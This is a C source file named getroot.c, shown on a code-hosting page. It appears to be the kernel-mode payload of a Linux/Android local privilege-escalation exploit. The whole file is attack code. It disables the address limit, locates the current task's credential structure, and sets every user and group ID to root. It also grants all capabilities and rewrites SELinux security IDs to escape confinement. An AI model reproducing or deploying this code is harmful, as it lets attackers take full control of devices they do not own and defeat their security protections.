-
Notifications
You must be signed in to change notification settings - Fork 88
/
Copy pathgetroot.c
155 lines (130 loc) · 3.1 KB
/
getroot.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdio.h>
#include <stdbool.h>
#define THREAD_SIZE 8192
#define KERNEL_START 0xc0000000
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
static inline struct thread_info *
current_thread_info(void)
{
register unsigned long sp asm ("sp");
return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));
}
static bool
is_cpu_timer_valid(struct list_head *cpu_timer)
{
if (cpu_timer->next != cpu_timer->prev) {
return false;
}
if ((unsigned long int)cpu_timer->next < KERNEL_START) {
return false;
}
return true;
}
void
obtain_root_privilege_by_modify_task_cred(void)
{
struct thread_info *info;
struct cred *cred;
struct task_security_struct *security;
int i;
info = current_thread_info();
info->addr_limit = -1;
cred = NULL;
for (i = 0; i < 0x400; i+= 4) {
struct task_struct_partial *task = ((void *)info->task) + i;
if (is_cpu_timer_valid(&task->cpu_timers[0])
&& is_cpu_timer_valid(&task->cpu_timers[1])
&& is_cpu_timer_valid(&task->cpu_timers[2])
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
if (cred == NULL) {
return;
}
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->sgid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
cred->cap_inheritable.cap[0] = 0xffffffff;
cred->cap_inheritable.cap[1] = 0xffffffff;
cred->cap_permitted.cap[0] = 0xffffffff;
cred->cap_permitted.cap[1] = 0xffffffff;
cred->cap_effective.cap[0] = 0xffffffff;
cred->cap_effective.cap[1] = 0xffffffff;
cred->cap_bset.cap[0] = 0xffffffff;
cred->cap_bset.cap[1] = 0xffffffff;
security = cred->security;
if (security) {
if (security->osid != 0
&& security->sid != 0
&& security->exec_sid == 0
&& security->create_sid == 0
&& security->keycreate_sid == 0
&& security->sockcreate_sid == 0) {
security->osid = 1;
security->sid = 1;
}
}
}